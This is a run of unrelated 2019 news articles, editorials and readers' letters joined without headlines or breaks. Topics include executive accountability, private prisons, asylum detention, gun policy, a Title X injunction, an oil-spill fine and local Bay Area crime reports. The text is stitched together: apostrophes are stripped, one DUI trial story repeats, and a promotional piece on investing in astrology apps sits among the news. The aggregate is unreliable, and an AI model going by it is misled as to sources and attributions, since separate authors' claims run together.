on April 23. 3 1 [ Editor: zyq ] Weve seen in the past few years more CEOs stepping down for displays of poor conduct, bad judgment, and even a disregard for taking misconduct seriously enough. Travis Kalanick at Uber, Roger Ailes at Fox News, Dov Charney at American Apparel, and Harvey Weinstein at The Weinstein Company are among them. Yes, top-level folks are being held accountable. Theyre now expected to act in accordance with the letter and spirit of the law. Its not just the press keeping watch. New legal standards are breaking out on both sides of the Atlantic. The UK has introduced the Senior Managers and Certification Regime and the United States has emphasized the naming of wrongdoers no matter how high level as an element of its Justice Department-led corporate cooperation policy in criminal cases. And Canada, through its Office of Superintendent of Financial Institutions, regularly assesses how well boards of directors are seeking to understand and monitor the decisions, plans and policies being undertaken by senior managers, plus their potential impact on the firm. Importantly, none of this will work unless these executives/board members feel as if they are indeed potentially culpable and appreciate that not reporting misconduct to authorities will have repercussions. Plus, senior managers should give the go-ahead or offer some supportive impetus for several incredibly important effectiveness checks to be done within the institution. Those checks might happen without the senior managers saying so, but it would surely help the executives bolster their argument that they were actively promoting and evaluating their businesss compliance objectives. Top brass can ask for short reports and even evaluative grading from various business sectors, chosen at random throughout the year, that center on how the business is doing in offering required and well-crafted training programs. And they can ask if employees feel like they are being rewarded for their exemplary conduct, not just deals cut, and whether employees know how to find and use the whistleblower portal, for starters. And heres the fun one: A certain number of top executives should (in earnest) spend a half-day day per year job-shadowing one employee chosen randomly so they can get some sense what a day in the life of an HR representative, IT desk technician, internal audit, or executive assistant (etc.) feels like. When I was 16 years old, I worked for one summer at a federal records center that had these terrible, rusty, rickety ladders we had to climb to find dated documents. (Yup, back in the day, we had these things called papers and folders. ) Anyway when a senior vice president had to climb one of those rusty ladders during a walk their walk type of management training initiative, he didnt climb up beyond the first step. And we got new ladders a week later. In short, if youre in a position to certify or otherwise sign off on any risk and compliance program, think about the ladders. Stuff outlives its effectiveness. If youd like to read more on this topic, I recommend checking out the book Conduct and Accountability in Financial Services from Bloomsbury Professional. It was written by my colleagues at Thomson Reuters, Stacy English and Susannah Hammond. They provide an excellent overview of conduct, culture, and governance expectations worldwide and talk about the implications of the global focus on culture and conduct risk. _____ Julie DiMauro, pictured above, is a contributing editor of the FCPA Blog. She writes best practice articles and speaks about compliance and risk issues in the financial services sector as part of the Regulatory Intelligence group at Thomson Reuters in New York. Follow her on Twitter @Julie_DiMauro and email her here. Shane Bauer had an inside look at a private prison run by one of the industry leaders. In 2014, the Oakland writer went into the Winn Correctional Center in rural Louisiana as a $9-an-hour guard. He expected the conditions to be bad. They were worse than bad. The level and pervasiveness of the violence. The substandard health care. The perfunctory training for guards faced with absurd ratios to inmates. I really dont see how that system is reformable, Bauer told me. The whole reason private prisons exist is theyre saving states money. But their margin of profit is not very large. To fix the problems that are unique to private prisons like the health care issues or the staffing issues it takes money. So its built in that youre going to have these issues. Bauers book on his four-month experience, American Prison, paints a dark portrait of what goes on behind those private walls. His account is all the more disturbing considering that lack of basic oversight is another defining trait of private prisons. They are exempt from the federal Freedom of Information Act and the California Public Records Act. Bauers account of the Winn facility, first revealed in a 35,000-word magazine piece for Mother Jones, has contributed to a growing movement to abolish prisons run by private corporations. In 2016, President Barack Obamas Justice Department announced the phaseout of private prisons for federal inmates a move that has since been reversed by the Trump administration. Gov. Jerry Brown last year vetoed legislation by Assemblyman Rob Bonta, D-Alameda, that would have phased out private prisons. Browns veto letter said the state needed to maintain maximum flexibility while its government-run prisons were over capacity. But the issue has not gone away. If anything, it has gained champions at the state and national level. Sens. Bernie Sanders, Kamala Harris and Elizabeth Warren are among the Democratic presidential candidates who have pushed for abolition of for-profit prisons. It is an outrage in America, Warren said at her CNN town hall on Monday. In his January inaugural address, Gov. Gavin Newsom vowed to end the outrage that is private prisons in the state of California once and for all. Those words brought hope to Bonta, who is back with another bill, AB32, that would prohibit the renewal of state contracts with private prisons and prohibit the the housing of inmates in for-profit prisons after 2027. His bill just cleared the Assembly Public Safety Committee on a 6-0 vote. As people become more aware of the issue, they are offended by it, Bonta said. And they should be. Bay Area Book Festival: John Diaz to interview Shane Bauer Saturday, May 4, 12:15 p.m., at The Chronicle Stage in the Park It will be fifth anniversary for the festival, held in downtown Berkeley and Martin Luther King Jr. Civic Center Park. Attractions range from interviews and panels with a diverse array of well-known and emerging authors to an array of activities to engage and inspire young readers. The festival runs from 11 a.m. to 5 p.m. on Saturday and Sunday, May 4-5. For a full schedule and ticket information: www.baybookfest.org See More Collapse Bontas objections to for-profit prisons are manifold, from the moral to the practical. He cited the low hiring standards, the higher level of escapes, the lack of accountability. Bontas his main objection, however, is that the companies first loyalty is to their shareholders instead of the public interest. This is not what our criminal justice system is supposed to be ... to see people as commodities and to turn profits on them, Bonta said. These are folks who are going to serve their sentences and come back into our communities. They need to be invested in. There need to be programs that provide rehabilitation and lower recidivism rates, and lead to successful re-entry. For many inmates, one of the keys to their transition back to the outside world is to allow them to maintain relationships with their families while incarcerated. Yet during the depths of the state prison overcrowding crisis a decade ago, California inmates were being shipped to private prisons as far away as Oklahoma and Mississippi. California continues to have 1,400 inmates at a CoreCivic prison in Eloy, Ariz. Oddly enough, Bonta has not detected of any lobbying against AB32 by the for-profit prisons. Perhaps they see the inevitability of their demise in this state with a governor who can decline renewal of their contracts even if Bontas measure doesnt become law. The California State Sheriffs Association is the only listed opponent in the official legislative analysis of AB32. The sheriffs group argued that depriving the state of the ability to contract with private prisons takes away a tool and increases the likelihood of releases of dangerous inmates from state prison and heightens pressure to have county jails take on more custodial capacity that would otherwise be housed in state prison. The sheriffs scare tactics are countered by the reality that falling violent crime rates and the trend toward criminal justice reform has been steadily reducing the prison population. Studies have identified thousands of spaces available in county jails if we need additional capacity, Bonta said. Most of all, it should not take a daring undercover operation to discover how human beings are being treated and mistreated behind prison walls. Journalist Bauer was distinctly qualified for the mission, not only for the writing he had done about U.S. prisons, but from his experience as a prisoner for two years in Iran after he was arrested in 2009 with two other hikers for allegedly crossing the Iran border from Iraqi Kurdistan. Four of those months were spent in solitary confinement. Bauer is not a man to be easily shocked. Yet on his first day on the job at Winn, he encountered an inmate who lost his leg to gangrene after being denied treatment for months. The health care stuff was pretty shocking, he said. Day after day came more examples of inhumanity. American Prison is an indictment of for-profit prisons and a call to action for California legislators. John Diaz is The San Francisco Chronicles editorial page editor. Email: jdiaz@sfchronicle.com Twitter: @JohnDiazChron Fed up with asylum seekers counting on this countrys legal system, the White House has a fresh and especially cruel response. Thousands of migrant petitioners wont be granted bail, meaning theyll spend possibly years locked up waiting for a hearing. President Trumps harsh obsession with border crossers is reaching new depths. His attorney general, William Barr, is dumping a years-old practice that allows migrants to post bail and return later to make their case for asylum before an immigration judge. Barring a legal setback, that means a new strategy in handling the flood of immigrants from Central America. It bends guarantees of due process and upends established U.S. and international law on seeking asylum. It also underlines how far the president is willing to go in dealing with a problem hes furiously promoted without any real results. Border crossings are at record levels, detention facilities are swamped and his shrill policies havent changed the picture. Hes dubbed the current practice of allowing bail catch and release, suggesting that illegal immigrants melt into the U.S. population after theyre picked up and allowed to post bond. But an overwhelming majority return to court and dont game the system. The proposed change would allow border patrol officers to lock up individuals and families for periods that can run months or years due to a backlog of cases and shortage of judges. Trump is doubling down on his brutal focus on illegal immigration. He sought to return border crossers with pending cases to Mexico but was rebuffed by the courts. Next he toyed with shipping migrants to sanctuary cities including several in the Bay Area, a notion that even his appointees running the Department of Homeland Security thought was unworkable and inane. His directive to separate parents from children was an infamous mistake that brought global ridicule. Still, the immigrants are coming, demonstrating Trumps failure and the powerful push of regional migration away from home countries riddled with poverty, corruption and violence. Illegal crossings are at a 12-year high with an added twist of families joining the flow of adults heading north. The latest move to cancel bail wont stand without a challenge. Immigrant rights groups and civil liberties organizations are promising to sue. They argue that Barrs directive replaces asylum rules with detention and punishment. A better response would be a measured one: more detention facilities, quicker hearings and observed rules. This country has a right to enforce border laws. But that doesnt give the president the right to harass and harm people asking for asylum. Trumps latest punitive move shouldnt be allowed to stand. This commentary is from The Chronicles editorial board. We invite you to express your views in a letter to the editor. Please submit your letter via our online form: SFChronicle.com/letters. And now former Vice President Joe Biden will be running to become president in 2020. Heres three reasons voters should not be enthusiastic about his decision: First, in the early 1990s, he improperly disregarded Anita Hills claims of sexual harassment during the confirmation hearings for then-Supreme Court nominee Clarence Thomas. Second, in the early 2000s, Biden voted in favor of authorizing former President George W. Bush to use military force in Iraq. Third, in the late 2010s, he is being dogged by claims of having had improper physical contact with women not a good contrast with our current groper-in-chief. Given the diversity of the other candidates running to be the 2020 Democratic nominee for president, my reaction to the announcement of Biden joining the race is this: Say it aint so, Joe. George Alexandrou, San Francisco Dems have the wrong focus At last, an issue we can all agree on. Forget about health care, wage parity, global warming and other minutiae. Lets make sure that men who have committed horrible crimes can vote! Good grief, are the Democrats the gang that couldnt shoot straight? This is not how we can remove the current disaster in chief. Bret Yeilding, Belmont Heinous neglect Regarding Ratepayers need voice in PG&E (Editorial, April 22): If corporations are people (according to the Supreme Court of the United States), why isnt Pacific Gas and Electric Co. held more accountable for its neglect? If a tree on my property fell on a passerby or neighbor inflicting harm or damage, I would be prosecuted, fined, and possibly imprisoned. PG&Es negligence (I know, its complicated) has clearly caused great harm and death in recent wildfires and explosions. Yet I dont see comparable punishment or justice for this company, which enjoys near monopolistic protections. I believe the state should put PG&E under state conservatorship, subject its responsible officers to criminal prosecution, and deprive its investors of profits until this corporate person shapes up and behaves like a good citizen. No other citizen would be able to walk free with so few consequences for such heinous neglect. Michael Simpson, San Francisco Political payback Regarding Everyone must count (Editorial, April 25): In this editorial about the Trump administrations efforts to include a citizenship question for the 2020 U.S. Census, the motivation for such an action is not truly explained. Since states with a preponderance of undocumented immigrant households are blue politically, the true intent of a census citizenship question is to sow fear and uncertainty, leading to undercounts of population, less federal aid, and fewer representatives in Congress. President Trump, who is petty, vindictive and still seething that he lost California in the 2016 election by over 3 million votes, would call a Supreme Court ruling in his favor on this issue political payback. Herman Rivera, San Jose Craigslist "for sale" ads are full of surprises, and in one recent case, the nature of a listing's contents came as a surprise even to the seller himself. A Mendocino County man was startled to learn Wednesday that a piece of military material from the Vietnam War that he had put up for sale on the website was not inert, as he had thought, but was in fact still a live explosive, according to the county sheriff's office. A 4-year-old Oakland boy who accidentally shot himself in the head with a gun he found at his home last month is now awake and beginning to speak. The child, Na'vaun Jackson, was recorded by his grandfather Ramon Price on Wednesday smiling and saying words like "sister," "mama," and "grandpa" before Price asks him to say "thank you" to those who prayed for his recovery. Jackson was taken off life support two weeks ago and has since been recovering. He's now out of intensive care. RELATED: Man's gun reportedly stolen from SFO baggage carousel "It's nothing short of a miracle," Jackson's great aunt Jamilia Land told the East Bay Times. "He just started speaking moving his arms, legs and continues to progress." It was on March 27 that Jackson, with his mother Brijjanna Price, visited her boyfriend Terrence Wilson, 37, at his home. Wilson reportedly told police he slept the night before with a gun under his pillow and that he forgot to lock it up when he woke up. Jackson then apparently found the gun and accidentally shot himself with it. When police arrived, they found the gun on a bedpost near the boy. Wilson was later charged with one count of child abuse, one count of possession of a firearm by a felon, and one count of first-degree criminal firearm storage. RELATED: Thousands protest in Oakland, SF to demand an end to gun violence At the time, doctors told Jackson's family that the child would likely never walk again and that he might be brain dead. But now, against the odds, he's speaking and smiling. He's not walking yet, but he's in physical therapy. Still, he has a long recovery ahead of him. In the meantime, Ramon Price is raising money for his grandson through a GoFundMe, and is posting videos of his recovery. In one update posted Thursday, he says, "I just held my grandson's hand and prayed with and for him and under my instructions he said amen and thank you Jesus." Alyssa Pereira is an SFGATE staff writer. Email her at apereira@sfchronicle.com or find her on Twitter at @alyspereira. LOS ANGELES The University of Southern California is losing national accreditation for a medical training program dogged by allegations of sexual misconduct. The Accreditation Council for Graduate Medical Education notified USC and Los Angeles County this week that their joint-run fellowship in cardiovascular disease will be stripped of accreditation next year. The decision is final and would effectively shut down the program, which had 15 slots for a three-year curriculum. USC said it hoped to have a new cardiology fellowship program in place before the current one closes in June 2020. We are fully committed to working with the ACGME and USC to take every action necessary to restore our standing for all residency training programs, said Christina Ghaly, director of the county Department of Health Services. We are determined to deliver an exceptional training environment that is safe and inclusive for every physician completing graduate medical education. The accreditation council gave no public reason for its decision. However, the Los Angeles Times reported USCs medical school dean, Dr. Laura Mosqueda, announced the decision Thursday in a faculty memo that said it was based on concerns about resident safety and wellness processes. The school and the county were sued in 2017 by Dr. Meena Zareh, who alleged that while she was a resident she was groped by a fellow in the program, Dr. Guillermo Cortes, and that the incident was never properly investigated. Two other women later came forward with similar assault allegations. Cortes attorney has said his client denies the allegations. Its the latest embarrassment for USCs medical school and health services. The Times reported that previous medical school dean Dr. Carmen Puliafito associated with criminals and people who used drugs and had been captured on video apparently smoking methamphetamine. He gave up his post in 2016 but remained a faculty member until USC fired him in 2017. USC President C. L. Max Nikias resigned last summer amid reports that the school ignored complaints of widespread sexual misconduct by a longtime campus gynecologist. Regardless of your own beliefs, around 25% of American adults believe in astrology, which amounts to over 60 million people in this one country alone. If you are a venture capitalist looking for your next big financial gain, then look no further than the horoscopes. There is a huge boom in popularity happening around astrology right now and its being driven by young millennials and their love of apps. Even those who are sceptical enjoy reading their daily horoscope, perhaps seeing it as a game or a bit of fun. Whatever peoples motivations, it has become clear that there is money to be made by investing in astrology. Its Written in the Stars In April 2019, the New York Times released a groundbreaking article, revealing the extent to which venture capital is funding astrology based businesses. An app called Co-Star, which allows users to compare birth charts, raised $5 million from Silicon Valley venture capital firms. The confidence in the ability of these apps to succeed appears to be high. With three million downloads and 400,000 Instagram followers, the investors have already been proven right. There has recently been an increase in new age, hippy-like trends, such as mindfulness, with the meditation app Calm being valued at $1 billion. However, these kind of apps require work and dedication. A daily horoscope is the lazy persons way to focus on their own wellbeing and personal development. This is why it is forecast to be more valuable than the mindfulness meditation app market. Astrology Loving Regions Americans are more likely than Europeans to believe in astrology, which is good news for investors, since they are also more likely to want to download an app. The most popular regions for astrology belief tend to be in young, urban areas. Investing in cities like Austin, New York, Los Angeles, and Denver will mean that your money is in some of the top 10 cities for astrological belief. These kind of towns are full of young professionals, with disposable income to spend. They are ambitious and willing to try anything to achieve success. For them, downloading a free app means nothing. For funders, the ad revenue could bring in a higher return on investment than you get from almost any other app. Astrology Apps and Millennials Perhaps surprisingly, it is millennials who are most interested in astrology. This is useful to know, as these are the people who spend their time on apps. Since the 70s, new age ideas have been relatively underground, but there is evidence that it is now becoming mainstream. In 2017, a post on a horoscope website received 150% more traffic than it did in 2016, showing the sharp and sudden rise in popularity that investors love. If you are a venture capitalist wondering which tech startups to back, then look towards the stars. With urban millennials embracing the power of astrology, this is bound to become a huge market in the coming months. Get your funding in early for the best chance of success as an investor in astrology. INDIANAPOLIS President Trump vowed to fight for gun rights Friday and implored members of the National Rifle Association struggling to maintain its influence to rally behind his re-election bid. Its under assault, Trump said of the constitutional right to bear arms. But not while were here. With pro-gun legislation largely stalled in Congress, Trump also announced Friday that he is withdrawing the U.S. from an international pact on the arms trade, telling the NRA the treaty is badly misguided. Trump said he would be revoking the United States status as a signatory of the U.N. Arms Trade Treaty, which regulates international trade in conventional weapons, from small arms to battle tanks, combat aircraft and warships. President Barack Obama signed the pact in 2013 but it has never been ratified by U.S. lawmakers. It has long been opposed by the NRA. We will never allow foreign diplomats to trample on your Second Amendment freedom, Trump said to cheers, before signing a document on stage asking the Senate to halt the ratification process. Advocates of tighter gun restrictions denounced Trumps decision. Kris Brown, president of the Brady organization, said it was a reckless move that will only embolden terrorists and other dangerous actors around the world. His move against the treaty came as Trump sought to excite an organization that was pivotal to Trumps victory in 2016 but, three years later, is limping toward the next election divided and diminished. An emboldened NRA had high hopes and ambitious plans for easing state and national gun regulations after pouring tens of millions of dollars into the 2016 presidential race, seeing its dark horse candidate win and Republicans in control of both branches of Congress. But much of the legislation the group championed has stalled, due, in part, to a series of mass shootings, including the massacre at a Parkland, Fla., high school that left 17 dead and launched a youth movement against gun violence that has had a powerful impact. And Democrats won control of the House in the midterms. At the same time, the group is grappling with infighting, bleeding money and facing a series of investigations into its operating practices, including allegations that covert Russian agents seeking to influence the 2016 election courted its officials and funneled money through the group. Jill Colvin and Lisa Marie Pane are Associated Press writers. HOUSTON Former Vice President Joe Bidens decision to enter the Democratic presidential race is causing consternation among some Democrats, particularly women of color, who have been hoping for a nominee who better reflects the nations diversity. At the She the People forum, billed as the first presidential forum focused on women of color, Roxy D. Hall Williamsons shoulders slumped at the mention of Biden, who announced his bid Thursday. I know that we have been cultured to feel that only the white man can save us, the LaMarque, Texas, organizer said Wednesday. I just dont feel like Biden is our answer. Bidens candidacy is likely to reshape the Democratic race, which has put the partys diversity on display. The group of eight 2020 hopefuls who spoke at the forum Wednesday was comprised of one black man, one black woman, three other women, a Latino man and two white men, all making the case for why they should be the nominee. Black female voters will play a critical role in the Democratic Partys attempt to defeat President Trump in 2020. An inability to earn their support in past cycles has spelled political peril for Democratic candidates. For his part, Biden has maintained strong ties to the African American community over the decades. The raucous, standing-room crowd in the 1,800-person capacity auditorium at the historically black Texas Southern University listened intently as the candidates were questioned about maternal mortality, immigration, tribal sovereignty, income inequality and other issues. Attending were Sen. Cory Booker, former Obama Cabinet member Julian Castro, Rep. Tulsi Gabbard, Sen. Kamala Harris, Sen. Amy Klobuchar, former Rep. Beto ORourke, Sen. Bernie Sanders and Sen. Elizabeth Warren. LaTosha Brown, the co-founder of Black Voters Matter, said she was initially eager for Biden to enter the race but now sees strong alternatives to him. Im over white men running the country, Brown said. I dont know if him getting in changes the field. He has name recognition, but his strength is also his weakness. Who is his announcing going to surprise? In interviews, black women repeatedly pointed to a singular issue plaguing Bidens candidacy: his handling of the 1991 Supreme Court confirmation hearing of Clarence Thomas and the Senate Judiciary Committees treatment of Anita Hill, a black professor who faced a panel of white male lawmakers about her sexual harassment allegations against Thomas. Biden, then a U.S. senator from Delaware, was the committees chairman, Williamson said that she was still salty about the role Biden played in the hearing and that it wasnt OK then and its not OK now. Adoneca Fortier, 55, said that she hoped that Biden would more fully address his role in the hearings, perhaps by extending a personal apology to Hill. Biden reportedly called Anita Hill this month to express his regret over what she endured, a Biden spokeswoman said. Juana Summers And Errin Haines Whack are Associated Press writers. A tornado killed two people as it tore through the northern Louisiana city of Ruston, sending trees into houses, ripping roofs off buildings and causing a local public university to cancel classes, officials said. Devastation is the way it looks, said Ruston Mayor Ronny Walker after flying over the city in a helicopter to assess the damage Thursday. The number of houses with trees completely through them was incredible. The tornado was part of a thunderstorm that left a trail of damage from eastern Texas into northern Louisiana, but Ruston a city of about 24,000 people appeared to get the worst of it. In all, the the National Weather Service said Friday that at least nine tornadoes were formed during a two-day period of severe weather in eastern Texas and Louisiana. A mother and son were killed when a tree fell on their home in Ruston overnight, officials said. Gov. John Bel Edwards identified the victims as Kendra Butler, 35, and Remington Butler, 14, who was a high school freshman. Edwards declared a state of emergency as he toured the region and met with officials. National Weather Service hydrologist C. S. Ross said the tornado that hit Ruston was part of a line of continuous damage that stretched about 150 miles from Texas into Louisiana. The National Weather Service said the tornado was an EF3, meaning it had winds of at least 136 mph. At Louisiana Tech University in Ruston, classes were canceled Thursday and Friday, the university said. Rebecca Santana and Ben Nadler are Associated Press writers. A federal judge has issued a nationwide injunction temporarily blocking a controversial Trump administration rule that would bar organizations that provide abortion referrals from receiving federal family planning money. Judge Stanley Bastian of the U.S. District Court for the Eastern District of Washington state said in his order Thursday that the rule would cause family planning clinics to face a Hobsons choice that harms patients as well as the providers. Bastian wrote that the plaintiffs in the case had submitted substantial evidence of harm if the administrations rule were to take effect. Yet, he wrote, the governments response in this case is dismissive, speculative and not based on any evidence presented in the record before this court. The judge granted a preliminary injunction, preventing the imposition of the Trump administration rule, which was scheduled to take effect May 3. He concurred with all of our legal arguments and he rejected all of the administrations arguments, said Bob Ferguson, Washingtons attorney general, who had filed the case along with the National Family Planning & Reproductive Health Association, which represents publicly funded family planning providers. The judge stated from the bench that we met our very high burden to have a national injunction granted. He said his office would return to court to ask the judge to make the injunction permanent. It is expected the administration will appeal. The rule, announced in February, would deny clinics across the country millions of dollars from the federal family planning program called Title X. Title X provides $286 million for programs that provide services like birth control, screening for breast cancer and cervical cancer, and treatment for sexually transmitted diseases. These programs serve about 4 million patients each year, many of them poor, at more than 4,000 clinics. The rule was partly seen as an attack on Planned Parenthood, which operates about 40 percent of those clinics, is the only provider in some communities, and receives nearly $60 million in Title X funding each year. While the rule would not prevent clinics from talking to patients about abortion, it would prevent them from informing patients where they could obtain the procedure. And it would lift a requirement that clinics counsel women on all reproductive options, including abortion, a change that was expected to make antiabortion and faith-based providers eligible for funding. In addition, while organizations receiving Title X money could still perform abortions, they would have to do so in a separate facility from their other operations, which could raise their costs significantly, some providers said. The case filed in Washington state was one of several legal challenges to the Trump administration rule, including cases in California and Maine. This week, in a case filed by attorneys general from 20 states and the District of Columbia, a federal judge in Oregon said that he would issue a preliminary injunction but that his order would not be national in scope. Pam Belluck is a New York Times writer. WASHINGTON The White House blocked adviser Stephen Miller from testifying before congressional committees on immigration and a staff shakeup at the Department of Homeland Security, prompting lawmakers on Thursday to demand internal communications on the topic from Homeland Security officials. In a letter, the White House counsel said Miller and other members of President Trumps executive staff could refuse the request. The precedent for members of the White House staff to decline invitations to testify before congressional committees has been consistently adhered to by administrations of both political parties, counsel Pat Cipollone wrote in his letter to House Oversight Committee Chairman Elijah Cummings, D-Md. Trump has said he is opposed to aides testifying. Miller is Trumps top immigration policy adviser, and several people familiar with the matter say he orchestrated the effort to replace top leaders at Homeland Security when Trumps frustrations boiled over again recently on border security. The people spoke on condition of anonymity. The shakeup started with the withdrawal of Ron Vitiello to lead U.S. Immigration and Customs Enforcement. Secretary Kirstjen Nielsen then resigned, and so did Undersecretary for Management Claire Grady. Some, like U.S. Citizenship and Immigration Services head Lee Francis Cissna, were rumored to be on the chopping block but have not yet left. The Democratic heads of the House Judiciary, Oversight and Homeland Security Committees sent a letter to Acting Homeland Security Secretary Kevin McAleenan on Thursday saying they were investigating the shakeup and asked for all internal communications related to the departure of several top officials. We are deeply concerned that the firing and forced resignation of these officials puts the security of the American people at risk, the lawmakers wrote. Colleen Long is an Associated Press writer. SANTA BARBARA A pipeline company has been fined nearly $3.35 million for causing the worst California coastal spill in 25 years. A judge issued a fine and penalties Thursday against Plains All American Pipeline for a 2015 spill that sent 140,000 gallons of crude oil gushing onto Refugio State Beach in Santa Barbara County, northwest of Los Angeles. The spill from a corroded pipeline blackened popular beaches for miles, killed wildlife and hurt tourism and fishing. Federal inspectors found that Plains had made several preventable errors, failed to quickly detect the pipeline rupture and responded too slowly as oil flowed toward the ocean. Plains operators working from a Texas control room more than 1,000 miles away had turned off an alarm that would have signaled a leak and, unaware a spill had occurred, restarted the hemorrhaging line after it had shut down, which only made matters worse, inspectors found. Last year, a jury found the Houston company guilty of a felony count of failing to properly maintain its pipeline and eight misdemeanor charges, including killing marine mammals and protected sea birds. Plains apologized for the spill and paid for the cleanup. The companys 2017 annual report estimated costs from the spill at $335 million, not including lost revenues. The fine was well short of the more than $1 billion in penalties prosecutors had sought. However, additional damages could be levied at a July restitution hearing. We take our responsibility to safely deliver energy resources very seriously, and we are committed to doing the right thing, the company said in a statement. Seventeen students from a single Cincinnati high school earned a perfect score of 36 on the ACT, a standardized test used for college admission. Walnut Hills High School reported near-record numbers for the 2019 testing season. "I have never heard of so many students in one school earning a perfect score," said Ed Curry, spokesperson for ACT. One of the students, Nick Deck, said he was shocked when he found out the news. "It was definitely surprising because it was just an exorbitant amount of people, 17 in our top two classes," Deck said. Curry told officials with Cincinnati Public Schools that ACT does not keep records of students with perfect scores, and could not verify if this was the largest number of students from one high school. Principal John Chambers said each student took the exam at different times throughout the year. He said different versions of the ACT are administered each time. "It's all the students, it's their work and their work ethic and I would give credit to their teachers, because their teachers prepare them extremely well," Chambers said. Powers Educational Services in Hyde Park tutored two of the students. Co-founder Mark Powers said the test relies heavily on strategy, and he's not surprised Walnut Hills kids were able to master it. "Sure, that's a huge number and statistically improbable, but it is such a rigorous academic environment there," Powers said. The 17 Walnut Hills students hitting the high mark are seniors Nolan Brown, Raymond Conroy, Matthew Dumford, Peter Hattemer, Antoine Langree, Nathan Miller, Milan Parikh and Naomi Stoner, as well as juniors Suvan Adhikari, Meoshea Britt, Gabrielle Chiong, Nickolas Deck, Bridget Fuller, Evan Peters, Mohit Pinninti, Dhruv Rungta and Alan Zhang. Another 23 Walnut High School seniors just missed a perfect score, earning 35 out of a possible 36, said Principal John Chambers. Attorneys gave their closing arguments Thursday in a trial for a man accused of murder in an alleged DUI hit-and-run collision on state Highway 4 in Concord that killed two children two years ago. Lemuel Wilson, now 36, was allegedly drunk at the wheel of a vehicle that veered off the Solano Way exit ramp from westbound Highway 4 around 11 p.m. Friday, June 30, 2017. Investigators said Wilson's vehicle rear-ended a Dodge Durango on the way off the ramp, crash-landing near a Kinder's restaurant adjacent to the highway. A family was in the Dodge. Vincent Reyes-Rothenberg, 5, and 10-year-old Lorenzo Reyes were killed. Their mother and a third child were transported to a hospital with injuries. Wilson, who already had at least one DUI conviction, was also injured - but he managed to flee the scene on foot, according to Deputy District Attorney Derek Butts. An open container was allegedly found, and Wilson sought medical attention at a hospital the following day. Defense attorney Colin Cooper argued that despite the tragic outcome, this case was over charged. Cooper said manslaughter would've been more appropriate, as murder cases have to be proven beyond a reasonable doubt. "This case is awful, it is a tragedy," Cooper said. "There are no winners." Cooper stressed that there was no evidence of alcohol in Wilson's blood when it was tested the following day, and that investigators had failed to check the open container found at the scene for fingerprints or DNA evidence linking it to Wilson. "That should really bother you," Cooper said. "That is a doubt based upon a reason." But Butts called that comment a "catch phrase." "It's not a real argument based on the evidence," Butts said. "This isn't about overcharging." California law allows prosecutors to charge some DUI fatalities as murder, Butts said. Judge John Kennedy reminded the jury that the burden of proof is on the prosecution in murder cases. Then Kennedy gave the jury their instructions and released them to choose a foreman and find a verdict in the case. Wilson stands accused of two counts of murder, driving under the influence and causing injury within 10 years of a prior DUI offense and leaving the scene of an accident. An update on the jury's decision was not immediately available Thursday afternoon. Copyright 2019 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. Codi Mills/The Chronicle SAN FRANCISCO (BCN) A woman and her infant escaped serious injuries Friday morning in San Francisco after a vehicle involved in a collision clipped them as they were on the sidewalk, police said. Around 9:50 a.m., officers responded to a report of a collision involving two vehicles and two pedestrians near Clarendon Avenue and Johnstone Drive in the city's Clarendon Heights neighborhood. There, officers learned that two vehicles became involved in a collision. One of the vehicles then made contact with a woman who was walking while pushing a stroller that contained an infant, according to police spokesman Officer Joseph Tomlinson. RELATED: Teenager in coma after brutal Sunnyvale crash The woman and the infant were taken to the hospital with injuries not considered life-threatening, he said. The two drivers involved in the collision stayed at the scene and are cooperating with the investigation. It was not immediately clear if the drivers suffered any injuries. According to Tomlinson, the collision remains under investigation. The Point Reyes Birding and Nature Festival begins Friday along Point Reyes National Seashore, organizers said. Festivities get started at 7 a.m. Friday, Saturday and Sunday. The festival celebrates the spring migration of birds and other wildlife along the Pacific Flyway. Visit https://www.pointreyesbirdingfestival.org/ for more information or call (415) 663-9312. An off-duty Oakland police officer was stabbed early Thursday evening in downtown Oakland, police said. At 5:37 p.m., the officer had just completed their shift and was walking to their car when they were stabbed at Sixth and Jefferson streets. Police said a suspect was arrested immediately. The officer was in stable condition at a hospital Thursday evening, according to police. All lanes of northbound U.S. Highway 101 just north of Ninth Street in San Francisco have reopened Thursday night after a truck rolled over on the freeway late in the afternoon, according to the California Highway Patrol. As of about 10:50 p.m., all lanes were open again. CHP officials said crash was reported at about 3:30 p.m. on northbound Highway 101 toward the northbound Highway 101 transition to city streets in San Francisco. The truck hit a guardrail, rolled over and spilled sand and gravel onto and over the edge of the freeway, which is elevated. CHP Officer Bert Diaz said 11 vehicles below the freeway were damaged by falling sand and gravel. No one was injured, Diaz said. Minor injuries were initially reported by the CHP. Palo Alto police are searching for a man who allegedly robbed a 7-Eleven store at gunpoint early Wednesday morning. The suspect walked into the store at 708 Colorado Ave. while an employee in his 20s was mopping the floor, revealed a semi-automatic handgun from under his clothing and demanded money from the cash register. He then ran away with the money, heading east on Colorado, according to police. The employee described the suspect to police, saying he was in his 20s, 5 feet 7 inches tall and had a thin build. He was wearing a black hooded sweatshirt, black pants, red shoes, purple gloves and a red bandana covering his face. Police were able to obtain only a low-quality image from surveillance cameras. Police are trying to determine if the suspect is connected to robberies in areas near the Midtown 7-Eleven. A Solano County man faces 25 years to life in prison after he was convicted Wednesday of the rape and kidnapping of his former girlfriend, according to the Napa County District Attorney's Office. Aniceto Landa Alarcon drove his ex-girlfriend to a remote area of Napa County on Feb. 12, 2018, and beat and sexually assaulted her at knifepoint. A passerby who interrupted the sexual assault called 911, prosecutors said. Alarcon, who lived in Fairfield and had ties to Vallejo, was convicted of forcible rape, kidnapping for rape, criminal threats, and among other crimes, assault with a deadly weapon. The jury also found true special allegations of aggravated kidnapping, kidnapping in the commission of rape and personal use of a deadly weapon. Alarcon is scheduled for sentencing May 22. Attorneys gave their closing arguments Thursday in a trial for a man accused of murder in an alleged DUI hit-and-run collision on state Highway 4 in Concord that killed two children two years ago. Lemuel Wilson, now 36, was allegedly drunk at the wheel of a vehicle that veered off the Solano Way exit ramp from westbound Highway 4 around 11 p.m. Friday, June 30, 2017. Investigators said Wilson's vehicle rear-ended a Dodge Durango on the way off the ramp, crash-landing near a Kinder's restaurant adjacent to the highway. A family was in the Dodge. Vincent Reyes-Rothenberg, 5, and 10-year-old Lorenzo Reyes were killed. Their mother and a third child were transported to a hospital with injuries. Wilson, who already had at least one DUI conviction, was also injured - but he managed to flee the scene on foot, according to Deputy District Attorney Derek Butts. An open container was allegedly found, and Wilson sought medical attention at a hospital the following day. Friday will be mostly cloudy in the morning before becoming partly cloudy. Highs will be in the upper 50s to the lower 70s. West 